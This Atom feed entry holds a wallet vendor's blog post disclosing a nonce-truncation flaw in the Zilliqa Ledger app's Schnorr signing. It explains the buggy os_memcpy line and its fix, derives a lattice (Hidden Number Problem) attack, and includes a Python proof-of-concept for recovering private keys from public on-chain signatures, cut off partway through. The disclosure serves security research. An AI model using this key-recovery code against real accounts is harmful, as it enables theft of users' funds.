Bearby Blog - zilliqa
The official blog of Bearby — a non-custodial, quantum-resistant, multi-chain wallet.
Zola
2026-07-22T00:00:00+00:00
https://blog.bearby.io/tags/zilliqa/atom.xml
Zilliqa Ledger App Hack (2026)
2026-07-22T00:00:00+00:00
2026-07-22T00:00:00+00:00
Bearby
https://blog.bearby.io/blog/zilliqa-ledger-app-hack-2026/
<blockquote>
<p><strong>TL;DR</strong> — <code>os_memcpy(T->K, nonce, 32)</code> copies the <strong>wrong</strong> 32 bytes out of a 40-byte buffer, zeroing the top 64 bits of every Schnorr nonce. Each signature leaks $k < 2^{192}$. An LLL lattice attack (HNP) recovers $d$ from $\geq 4$ public $(r, s)$ pairs. Flaw present since commit <code>61dda37</code> (Aug 2019). Patching cannot undo on-chain signatures.</p>
</blockquote>
<p><img src="/blog/zilliqa-ledger-app-hack-2026/nonce-truncation.jpg" alt="Buffer layout: how os_memcpy truncates the nonce from 256 to 192 bits" /></p>
<h2 id="the-signing-scheme">The signing scheme</h2>
<p>Zilliqa uses Schnorr over secp256k1 ($n \approx 2^{256}$, $G$ the base point). For private key $d$, public key $P = dG$, message $m$:</p>
<p>$$Q = kG \qquad r = H_2!\big(\overline{Q},|,\overline{P},|,m\big) \bmod n \qquad s = (k - rd) \bmod n$$</p>
<p>where $\overline{(\cdot)}$ denotes compressed encoding ($\texttt{02/03}|x$). Signature is $(r, s) \in \mathbb{Z}_n^2$ — 64 bytes.</p>
<p>Security reduces entirely to nonce secrecy. If $k$ is known, $d = (k - s) \cdot r^{-1} \bmod n$. If <em>part</em> of $k$ is known across multiple signatures, the <strong>Hidden Number Problem</strong> applies.</p>
<h2 id="the-bug-nonce-truncation">The bug: nonce truncation</h2>
<h3 id="vulnerable-code">Vulnerable code</h3>
<p>From <code>src/schnorr.c</code>, function <code>zil_ecschnorr_sign_init</code> (commit <code>61dda37</code>, Aug 2019):</p>
<pre class="giallo" style="color: #CDD6F4; background-color: #1E1E2E;"><code data-lang="c"><span class="giallo-l"><span style="color: #9399B2;font-style: italic;">//generate random, pick a few extra bytes for better security.</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;">unsigned char</span><span> nonce</span><span style="color: #9399B2;">[</span><span>size</span><span style="color: #94E2D5;">+</span><span style="color: #FAB387;">8</span><span style="color: #9399B2;">];</span><span style="color: #9399B2;font-style: italic;"> // 40 bytes</span></span>
<span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">cx_rng</span><span style="color: #9399B2;">(</span><span>nonce</span><span style="color: #9399B2;">,</span><span> size</span><span style="color: #94E2D5;">+</span><span style="color: #FAB387;">8</span><span style="color: #9399B2;">);</span><span style="color: #9399B2;font-style: italic;"> // fill 40 bytes</span></span>
<span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">cx_math_modm</span><span style="color: #9399B2;">(</span><span>nonce</span><span style="color: #9399B2;">,</span><span> size</span><span style="color: #94E2D5;">+</span><span style="color: #FAB387;">8</span><span style="color: #9399B2;">,</span><span style="color: #9399B2;font-style: italic;"> // reduce 40-byte value</span></span>
<span class="giallo-l"><span style="color: #9399B2;"> (</span><span style="color: #CBA6F7;">unsigned char</span><span style="color: #94E2D5;"> *</span><span style="color: #9399B2;">)</span><span>domain</span><span style="color: #94E2D5;">-></span><span style="color: #EBA0AC;font-style: italic;">n</span><span style="color: #9399B2;">,</span><span> size</span><span style="color: #9399B2;">);</span><span style="color: #9399B2;font-style: italic;"> // modulo 32-byte n</span></span>
<span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">os_memcpy</span><span style="color: #9399B2;">(</span><span>T</span><span style="color: #94E2D5;">-></span><span style="color: #EBA0AC;font-style: italic;">K</span><span style="color: #9399B2;">,</span><span> nonce</span><span style="color: #9399B2;">,</span><span> size</span><span style="color: #9399B2;">);</span><span style="color: #9399B2;font-style: italic;"> // ← BUG: copies bytes 0..31</span></span></code></pre><h3 id="buffer-layout">Buffer layout</h3>
<p><code>cx_math_modm(v, len_v, n, len_n)</code> reduces a <code>len_v</code>-byte big-endian integer modulo <code>len_n</code>-byte $n$, storing the result <strong>right-aligned</strong> in the <code>len_v</code>-byte buffer. With <code>len_v = 40</code>, <code>len_n = 32</code>:</p>
<p>$$\underbrace{b_0; b_1; \cdots; b_{39}}<em>{\text{40 random bytes}} \xrightarrow{;\bmod; n;} \underbrace{\overbrace{00;00;\cdots;00}^{8 \text{ bytes}};\overbrace{v_0;v_1;\cdots;v</em>{31}}^{32 \text{ bytes}}}_{\text{40-byte buffer, right-aligned}}$$</p>
<p>Let $v = \texttt{cx_rng}(40) \bmod n$ (the correct 256-bit nonce). The buffer holds $v$ right-padded: bytes $[0{,}..{,}7] = 0$, bytes $[8{,}..{,}39] = v$.</p>
<p><code>os_memcpy(T->K, nonce, 32)</code> copies bytes $[0{,}..{,}31]$:</p>
<p>$$\texttt{T.K} = \underbrace{00;\cdots;00}<em>{8} ;|; v_0;v_1;\cdots;v</em>{23}$$</p>
<p>As a 256-bit integer:</p>
<p>$$k = \sum_{i=0}^{23} v_i \cdot 2^{8(23-i)} = \left\lfloor \frac{v}{2^{64}} \right\rfloor$$</p>
<p>Since $v < n < 2^{256}$:</p>
<p>$$\boxed{k < \frac{2^{256}}{2^{64}} = 2^{192}}$$</p>
<p><strong>Every nonce has 64 zero MSBs.</strong> The bottom 64 bits of $v$ (bytes $v_{24{,}..{,}31}$) are silently discarded.</p>
<h3 id="the-fix">The fix</h3>
<pre class="giallo" style="color: #CDD6F4; background-color: #1E1E2E;"><code data-lang="c"><span class="giallo-l"><span style="color: #89B4FA;font-style: italic;">os_memcpy</span><span style="color: #9399B2;">(</span><span>T</span><span style="color: #94E2D5;">-></span><span style="color: #EBA0AC;font-style: italic;">K</span><span style="color: #9399B2;">,</span><span> nonce </span><span style="color: #94E2D5;">+</span><span style="color: #FAB387;"> 8</span><span style="color: #9399B2;">,</span><span> size</span><span style="color: #9399B2;">);</span><span style="color: #9399B2;font-style: italic;"> // take LAST 32 bytes: v_0..v_31</span></span></code></pre><h2 id="from-truncation-to-key-recovery">From truncation to key recovery</h2>
<h3 id="per-signature-constraint">Per-signature constraint</h3>
<p>From $s = (k - rd) \bmod n$:</p>
<p>$$k \equiv s + rd \pmod{n}$$</p>
<p>With the bug, $0 \leq k_i < 2^{192}$ for every signature $i$. Each $(r_i, s_i)$ pair therefore constrains:</p>
<p>$$0 ;\leq; \big(s_i + r_i d\big) \bmod n ;<; 2^{192}$$</p>
<p>This is an instance of the <strong>Hidden Number Problem</strong> (Boneh–Venkatesan, 2001): given $m$ samples $(r_i, s_i)$ with $t_i = (s_i + r_i d) \bmod n$ satisfying $0 \leq t_i < 2^{\ell}$ where $\ell = 192$, recover $d$.</p>
<h3 id="information-theoretic-bound">Information-theoretic bound</h3>
<p>Each sample constrains $d$ to a $1/2^{64}$ fraction of $\mathbb{Z}_n$. Recovering $d$ requires:</p>
<p>$$m \cdot 64 \geq 256 \quad\Longrightarrow\quad m_{\min} = \left\lceil \frac{256}{64} \right\rceil = 4$$</p>
<p>At $m = 4$ the attack is information-theoretically possible but lattice-reduction-tight. At $m \geq 5$ it is reliable.</p>
<h2 id="lattice-construction">Lattice construction</h2>
<h3 id="recentering">Recentering</h3>
<p>Breitner–Heninger recentering halves the target norm. Substitute $t_i = 2^{191} + e_i$ with $|e_i| \leq 2^{191}$, and $s'_i = (s_i - 2^{191}) \bmod n$:</p>
<p>$$e_i \equiv s'_i + r_i d \pmod{n}, \qquad |e_i| \leq 2^{191}$$</p>
<h3 id="basis-matrix">Basis matrix</h3>
<p>Given $m$ signatures, let $K = 2^{191}$. Construct the $(m+2)$-dimensional lattice $\Lambda \subset \mathbb{Z}^{m+2}$ with basis:</p>
<p>$$B = \begin{pmatrix}
n & & & & & \
& n & & & & \
& & \ddots & & & \
& & & n & & \
r_1 & r_2 & \cdots & r_m & K/n & 0 \
s'_1 & s'_2 & \cdots & s'_m & 0 & K
\end{pmatrix} \in \mathbb{Z}^{(m+2) \times (m+2)}$$</p>
<h3 id="target-short-vector">Target short vector</h3>
<p>$$\mathbf{t} = \big(e_1,; e_2,; \ldots,; e_m,; Kd/n,; K\big) \in \Lambda$$</p>
<p>$\mathbf{t}$ is a lattice vector: subtracting row $m$ and row $m{+}1$ from appropriate multiples of rows $0{,}..{,}m{-}1$ zeroes the first $m$ coordinates (since $e_i \equiv s'_i + r_i d \pmod n$). Its norm:</p>
<p>$$|\mathbf{t}| \approx \sqrt{m+1} \cdot 2^{191}$$</p>
<h3 id="extracting-d">Extracting $d$</h3>
<p>Once LLL finds $\mathbf{t}$ (or a scalar multiple), read off coordinate $m$:</p>
<p>$$d = \frac{\mathbf{t}[m] \cdot n}{K} \pmod{n}$$</p>
<p>Self-verify: accept $d$ iff $dG \stackrel{?}{=} P$ (the device public key).</p>
<h2 id="why-lll-succeeds-gap-analysis">Why LLL succeeds: gap analysis</h2>
<h3 id="determinant">Determinant</h3>
<p>$$\det(\Lambda) = n^{m-1} \cdot K^2 = n^{m-1} \cdot 2^{382}$$</p>
<h3 id="gaussian-heuristic-for-lambda-1">Gaussian heuristic for $\lambda_1$</h3>
<p>$$\lambda_1(\Lambda) \approx \sqrt{\frac{m+2}{2\pi e}} \cdot \det(\Lambda)^{1/(m+2)}$$</p>
<p>$$\log_2 \lambda_1 \approx \frac{(m-1) \cdot 256 + 382}{m+2} + \frac{1}{2}\log_2!\left(\frac{m+2}{2\pi e}\right)$$</p>
<h3 id="gap-per-m">Gap per $m$</h3>
<p>The gap is $\log_2 \lambda_1 - \log_2 |\mathbf{t}|$ — how much "room" LLL has. LLL outputs a vector within $2^{(d-1)/4}$ of $\lambda_1$ (theoretical worst case); in practice much closer.</p>
<table><thead><tr><th>$m$</th><th>$\dim$</th><th>$\log_2 \det^{1/d}$</th><th>$\log_2 |\mathbf{t}|$</th><th>gap</th><th>verdict</th></tr></thead><tbody>
<tr><td>3</td><td>5</td><td>$\frac{768+382}{5} = 230$</td><td>$\approx 192$</td><td>$-38$</td><td><strong>impossible</strong> (info-theoretic)</td></tr>
<tr><td>4</td><td>6</td><td>$\frac{768+382}{6} \approx 191.7$</td><td>$\approx 192.2$</td><td>$\approx -0.5$</td><td>borderline</td></tr>
<tr><td>5</td><td>7</td><td>$\frac{1024+382}{7} \approx 200.9$</td><td>$\approx 192.3$</td><td>$\approx -8.6$</td><td>reliable</td></tr>
<tr><td>6</td><td>8</td><td>$\frac{1280+382}{8} = 207.8$</td><td>$\approx 192.5$</td><td>$\approx -15.3$</td><td>trivial</td></tr>
</tbody></table>
<p>Negative gap means $|\mathbf{t}| < \lambda_1(\Lambda)$ — the target vector is <strong>shorter</strong> than the expected shortest vector, so LLL finds it as one of its first reduced basis vectors.</p>
<p>At $m = 4$ the target sits right at $\lambda_1$; LLL may need $\pm$-combination of basis vectors to extract it. At $m \geq 5$ it dominates.</p>
<h2 id="proof-of-concept">Proof of concept</h2>
<p>The attack uses <strong>only</strong> public on-chain data — the device is never needed. Collect the target account's signed transactions, extract $(r, s)$ pairs, build the lattice, run LLL, verify $dG = P$.</p>
<pre class="giallo" style="color: #CDD6F4; background-color: #1E1E2E;"><code data-lang="python"><span class="giallo-l"><span style="color: #9399B2;font-style: italic;">#!/usr/bin/env python3</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;">"""</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;">hnp.py — Blind private-key recovery via lattice HNP (NO private key needed).</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #A6E3A1;">If the 40-byte nonce pipeline in schnorr.c:74-76 truncates k to 192 bits</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;">(right-aligned cx_math_modm → memcpy(nonce, 32) grabs 00×8 ‖ v[0..24), i.e.</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;">k = v >> 64), then every signature leaks 64 known zero MSBs of its nonce:</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #A6E3A1;"> k_i = (s_i + r_i·d) mod n with 0 ≤ k_i < 2^192</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #A6E3A1;">That is the Hidden Number Problem. An LLL-reduced lattice (Nguyen–Shparlinski</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;">construction) exposes the short target vector (k_1..k_m, K·d/n, K), from which</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;">d falls out. m = 4 signatures is the information-theoretic minimum (borderline),</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;">m ≥ 5 is comfortable. Messages are NOT needed — only the (r, s) pairs.</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #A6E3A1;">Self-verifying: a candidate d is accepted iff d·G == device pubkey.</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #A6E3A1;">Pure stdlib (exact-fraction LLL; lattice dim ≤ 8, runs in seconds).</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #A6E3A1;">Usage:</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;"> python3 poc/hnp.py --selftest # synthetic truncated-k proof</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;"> python3 poc/hnp.py --pubkey <66hex> --sig <r‖s> [--sig <r‖s> ...] [--kbits N]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #A6E3A1;">Arguments:</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;"> --pubkey compressed device pubkey, 66 hex chars (02/03‖x)</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;"> --sig one signature as 128 hex chars (r‖s); repeat per signature</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;"> --kbits nonce upper bound in bits, k < 2^kbits (default 192 = 40-byte truncation)</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;">"""</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;">import</span><span> sys</span><span style="color: #9399B2;">,</span><span> hashlib</span><span style="color: #9399B2;">,</span><span> random</span><span style="color: #9399B2;">,</span><span> argparse</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;">from</span><span> fractions</span><span style="color: #CBA6F7;"> import</span><span> Fraction</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>Pp</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;"> 0x</span><span style="color: #FAB387;">FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F</span></span>
<span class="giallo-l"><span>N</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;"> 0x</span><span style="color: #FAB387;">FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141</span></span>
<span class="giallo-l"><span>G</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> (</span><span style="color: #CBA6F7;">0x</span><span style="color: #FAB387;">79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798</span><span style="color: #9399B2;">,</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> 0x</span><span style="color: #FAB387;">483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># ─── minimal affine secp256k1 (verification + selftest only) ───────────</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> inv</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">a</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> m</span><span style="color: #94E2D5;">=</span><span style="color: #EBA0AC;">Pp</span><span style="color: #9399B2;">):</span><span style="color: #CBA6F7;"> return</span><span style="color: #FAB387;font-style: italic;"> pow</span><span style="color: #9399B2;">(</span><span>a</span><span style="color: #94E2D5;"> %</span><span> m</span><span style="color: #9399B2;">,</span><span> m</span><span style="color: #94E2D5;"> -</span><span style="color: #FAB387;"> 2</span><span style="color: #9399B2;">,</span><span> m</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> add</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> A</span><span style="color: #CBA6F7;"> is</span><span style="color: #FAB387;"> None</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span> B</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> B</span><span style="color: #CBA6F7;"> is</span><span style="color: #FAB387;"> None</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span> A</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #EBA0AC;font-style: italic;"> A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> ==</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #CBA6F7;"> and</span><span style="color: #9399B2;"> (</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> +</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">])</span><span style="color: #94E2D5;"> %</span><span> Pp</span><span style="color: #94E2D5;"> ==</span><span style="color: #FAB387;"> 0</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span style="color: #FAB387;"> None</span></span>
<span class="giallo-l"><span> lam</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> (</span><span style="color: #FAB387;">3</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">*</span><span style="color: #89B4FA;">inv</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">2</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]))</span><span style="color: #94E2D5;"> %</span><span> Pp</span><span style="color: #CBA6F7;"> if</span><span> A</span><span style="color: #94E2D5;"> ==</span><span> B</span><span style="color: #CBA6F7;"> else</span><span style="color: #9399B2;"> ((</span><span style="color: #EBA0AC;font-style: italic;">B</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">-</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">])</span><span style="color: #94E2D5;">*</span><span style="color: #89B4FA;">inv</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">B</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">-</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]))</span><span style="color: #94E2D5;"> %</span><span> Pp</span></span>
<span class="giallo-l"><span> x</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> (</span><span>lam</span><span style="color: #94E2D5;">*</span><span>lam</span><span style="color: #94E2D5;"> -</span><span style="color: #EBA0AC;font-style: italic;"> A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> -</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">])</span><span style="color: #94E2D5;"> %</span><span> Pp</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span style="color: #9399B2;"> (</span><span>x</span><span style="color: #9399B2;">, (</span><span>lam</span><span style="color: #94E2D5;">*</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">-</span><span>x</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> -</span><span style="color: #EBA0AC;font-style: italic;"> A</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">])</span><span style="color: #94E2D5;"> %</span><span> Pp</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> mul</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> A</span><span style="color: #94E2D5;">=</span><span style="color: #EBA0AC;">G</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span> R</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;"> None</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> while</span><span> k</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> k</span><span style="color: #94E2D5;"> &</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">:</span><span> R</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> add</span><span style="color: #9399B2;">(</span><span>R</span><span style="color: #9399B2;">,</span><span> A</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> A</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> add</span><span style="color: #9399B2;">(</span><span>A</span><span style="color: #9399B2;">,</span><span> A</span><span style="color: #9399B2;">)</span><span>; k</span><span style="color: #94E2D5;"> >>=</span><span style="color: #FAB387;"> 1</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span> R</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> decomp</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">comp_hex</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span> b</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;font-style: italic;"> bytes</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">fromhex</span><span style="color: #9399B2;">(</span><span>comp_hex</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> x</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;font-style: italic;"> int</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">from_bytes</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">b</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">:</span><span style="color: #FAB387;font-style: italic;">33</span><span style="color: #9399B2;">],</span><span style="color: #A6E3A1;"> 'big'</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> y</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> pow</span><span style="color: #9399B2;">((</span><span>x</span><span style="color: #94E2D5;">*</span><span>x</span><span style="color: #94E2D5;">*</span><span>x</span><span style="color: #94E2D5;"> +</span><span style="color: #FAB387;"> 7</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> %</span><span> Pp</span><span style="color: #9399B2;">, (</span><span>Pp</span><span style="color: #94E2D5;"> +</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;">//</span><span style="color: #FAB387;">4</span><span style="color: #9399B2;">,</span><span> Pp</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #9399B2;"> (</span><span>y</span><span style="color: #94E2D5;"> &</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> !=</span><span style="color: #9399B2;"> (</span><span style="color: #EBA0AC;font-style: italic;">b</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> &</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">):</span><span> y</span><span style="color: #94E2D5;"> =</span><span> Pp</span><span style="color: #94E2D5;"> -</span><span> y</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span style="color: #9399B2;"> (</span><span>x</span><span style="color: #9399B2;">,</span><span> y</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> enc</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">pt</span><span style="color: #9399B2;">):</span><span style="color: #CBA6F7;"> return</span><span style="color: #CBA6F7;font-style: italic;"> bytes</span><span style="color: #9399B2;">([</span><span style="color: #FAB387;">2</span><span style="color: #94E2D5;"> |</span><span style="color: #9399B2;"> (</span><span style="color: #EBA0AC;font-style: italic;">pt</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> &</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">)])</span><span style="color: #94E2D5;"> +</span><span style="color: #EBA0AC;font-style: italic;"> pt</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">].</span><span style="color: #89B4FA;">to_bytes</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">32</span><span style="color: #9399B2;">,</span><span style="color: #A6E3A1;"> 'big'</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># ─── exact-arithmetic LLL (Fractions; fine for dim ≤ ~10) ──────────────</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> nint</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">f</span><span style="color: #9399B2;">):</span><span style="color: #9399B2;font-style: italic;"> # nearest integer</span></span>
<span class="giallo-l"><span> fl</span><span style="color: #94E2D5;"> =</span><span> f</span><span style="color: #9399B2;">.</span><span>numerator</span><span style="color: #94E2D5;"> //</span><span> f</span><span style="color: #9399B2;">.</span><span>denominator</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span> fl</span><span style="color: #94E2D5;"> +</span><span style="color: #FAB387;"> 1</span><span style="color: #CBA6F7;"> if</span><span> f</span><span style="color: #94E2D5;"> -</span><span> fl</span><span style="color: #94E2D5;"> >=</span><span style="color: #89B4FA;"> Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 2</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> else</span><span> fl</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> gso</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">b</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> dim</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span> n_</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>b</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> bs</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [</span><span style="color: #EBA0AC;font-style: italic;">row</span><span style="color: #9399B2;">[:]</span><span style="color: #CBA6F7;"> for</span><span> row</span><span style="color: #CBA6F7;"> in</span><span> b</span><span style="color: #9399B2;">]</span></span>
<span class="giallo-l"><span> mu</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [[</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">)]</span><span style="color: #94E2D5;">*</span><span>n_</span><span style="color: #CBA6F7;"> for</span><span> _</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>n_</span><span style="color: #9399B2;">)]</span></span>
<span class="giallo-l"><span> B</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">)]</span><span style="color: #94E2D5;">*</span><span>n_</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> i</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>n_</span><span style="color: #9399B2;">):</span></span>
